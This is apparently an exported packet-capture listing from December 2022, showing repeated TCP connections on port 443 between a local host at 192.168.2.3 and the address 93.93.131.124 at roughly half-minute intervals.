                                                                                                                                                  Dec 4, 2022 12:08:01.477282047 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.477319956 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.511986017 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.512150049 CET4434972093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.512271881 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.512976885 CET49720443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.514256954 CET49721443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.514312983 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.514516115 CET49721443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.514710903 CET49721443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.514738083 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.622351885 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.624650002 CET49721443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.624686003 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.687275887 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.687369108 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.687510014 CET49721443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:01.687541008 CET4434972193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:01.696111917 CET49721443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.017808914 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.017874002 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.017971039 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.030087948 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.030132055 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.141810894 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.142040968 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.148114920 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.148153067 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.148823977 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.179917097 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.179954052 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.215545893 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.215704918 CET4434972293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.215818882 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.216391087 CET49722443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.220115900 CET49723443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.220161915 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.220295906 CET49723443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.220614910 CET49723443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.220645905 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.330782890 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.335462093 CET49723443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.335541964 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.397104025 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.397207975 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.397449970 CET49723443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:21.397502899 CET4434972393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:21.399478912 CET49723443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:46.860394955 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:46.860454082 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:46.860536098 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:46.870367050 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:46.870397091 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:46.973371029 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:46.973609924 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:46.980412006 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:46.980441093 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:46.980886936 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.009294033 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.009378910 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.044398069 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.044500113 CET4434972493.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.044574976 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.045290947 CET49724443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.046319962 CET49725443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.046370029 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.046484947 CET49725443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.046818972 CET49725443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.046840906 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.149161100 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.163711071 CET49725443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.163748026 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.216839075 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.216907024 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.217066050 CET49725443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:08:47.217107058 CET4434972593.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:08:47.221688032 CET49725443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.482678890 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.482757092 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.482847929 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.513396025 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.513511896 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.622198105 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.622407913 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.647605896 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.647680998 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.648387909 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.668029070 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.668090105 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.703429937 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.703576088 CET4434972693.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.703766108 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.704360008 CET49726443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.705665112 CET49727443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.705750942 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.705861092 CET49727443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.706156969 CET49727443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.706216097 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.815757036 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.818062067 CET49727443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.818113089 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.882106066 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.882164955 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.882255077 CET49727443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:16.882302999 CET4434972793.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:16.884222031 CET49727443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.270452023 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.270548105 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.270703077 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.289896011 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.289963007 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.380218029 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.380528927 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.388437986 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.388479948 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.389106035 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.409310102 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.409363031 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.444109917 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.444277048 CET4434972893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.444396973 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.445239067 CET49728443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.446679115 CET49729443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.446744919 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.446837902 CET49729443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.447791100 CET49729443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.447828054 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.536407948 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.538598061 CET49729443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.538630962 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.602576971 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.602663994 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.602906942 CET49729443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:09:40.602958918 CET4434972993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:09:40.610270023 CET49729443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.524262905 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.524337053 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.524441004 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.581121922 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.581190109 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.680455923 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.680672884 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.693941116 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.693979979 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.694740057 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.717490911 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.717534065 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.752229929 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.752397060 CET4434973093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.752763987 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.753151894 CET49730443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.754748106 CET49731443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.754816055 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.754955053 CET49731443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.755918980 CET49731443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.755964994 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.853256941 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.858509064 CET49731443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.858546972 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.920969963 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.921065092 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.921206951 CET49731443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:11.921247959 CET4434973193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:11.924679995 CET49731443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.719149113 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.719229937 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.719367027 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.730812073 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.730899096 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.844542027 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.844805002 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.847074032 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.847110987 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.847800970 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.879853964 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.879911900 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.915083885 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.915246964 CET4434973293.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.915433884 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.916109085 CET49732443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.917186975 CET49733443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.917228937 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:38.917315006 CET49733443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.917656898 CET49733443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:38.917678118 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:39.012691975 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:39.014930964 CET49733443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:39.014957905 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:39.077752113 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:39.077841043 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:39.078068018 CET49733443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:10:39.078116894 CET4434973393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:10:39.087322950 CET49733443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.323820114 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.323904991 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.324008942 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.333448887 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.333499908 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.425997019 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.426268101 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.438740015 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.438779116 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.439609051 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.461440086 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.461503029 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.496895075 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.497045994 CET4434973893.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.497186899 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.503395081 CET49738443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.507756948 CET49739443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.507828951 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.507950068 CET49739443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.508399010 CET49739443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.508433104 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.615255117 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.617542982 CET49739443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.617575884 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.684376001 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.684470892 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.684600115 CET49739443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:11.684662104 CET4434973993.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:11.686927080 CET49739443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:46.856956959 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:46.857026100 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:46.857106924 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:46.885355949 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:46.885391951 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:46.997651100 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:46.997854948 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.001543045 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.001590014 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.002283096 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.024622917 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.024689913 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.060895920 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.061021090 CET4434975093.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.061125994 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.062027931 CET49750443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.063456059 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.063507080 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.063651085 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.064057112 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.064070940 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.169594049 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.262368917 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.262413025 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.298743963 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.298837900 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.298855066 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.298980951 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.299029112 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.299048901 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.299076080 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.332137108 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332170963 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332278967 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332323074 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332329988 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332386017 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.332438946 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332479000 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332493067 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.332508087 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332532883 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.332535982 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.332556009 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.332571030 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.332588911 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.366352081 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.366468906 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.366523981 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.366559982 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.366580009 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.366605997 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.366797924 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.366854906 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.366992950 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.367064953 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.367247105 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.367315054 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.367790937 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.367857933 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.400753975 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.400964975 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.401130915 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.401206017 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.401597977 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.401671886 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.402074099 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.402143002 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.402589083 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.402658939 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.402934074 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.403002977 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.403244972 CET4434975193.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:11:47.403311968 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:11:47.498420954 CET49751443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.384247065 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.384350061 CET4434975393.93.131.124192.168.2.3
                                                                                                                                                  Dec 4, 2022 12:12:23.384438038 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.398196936 CET49753443192.168.2.393.93.131.124
                                                                                                                                                  Dec 4, 2022 12:12:23.398231030 CET4434975393.93.131.124192.168.2.3
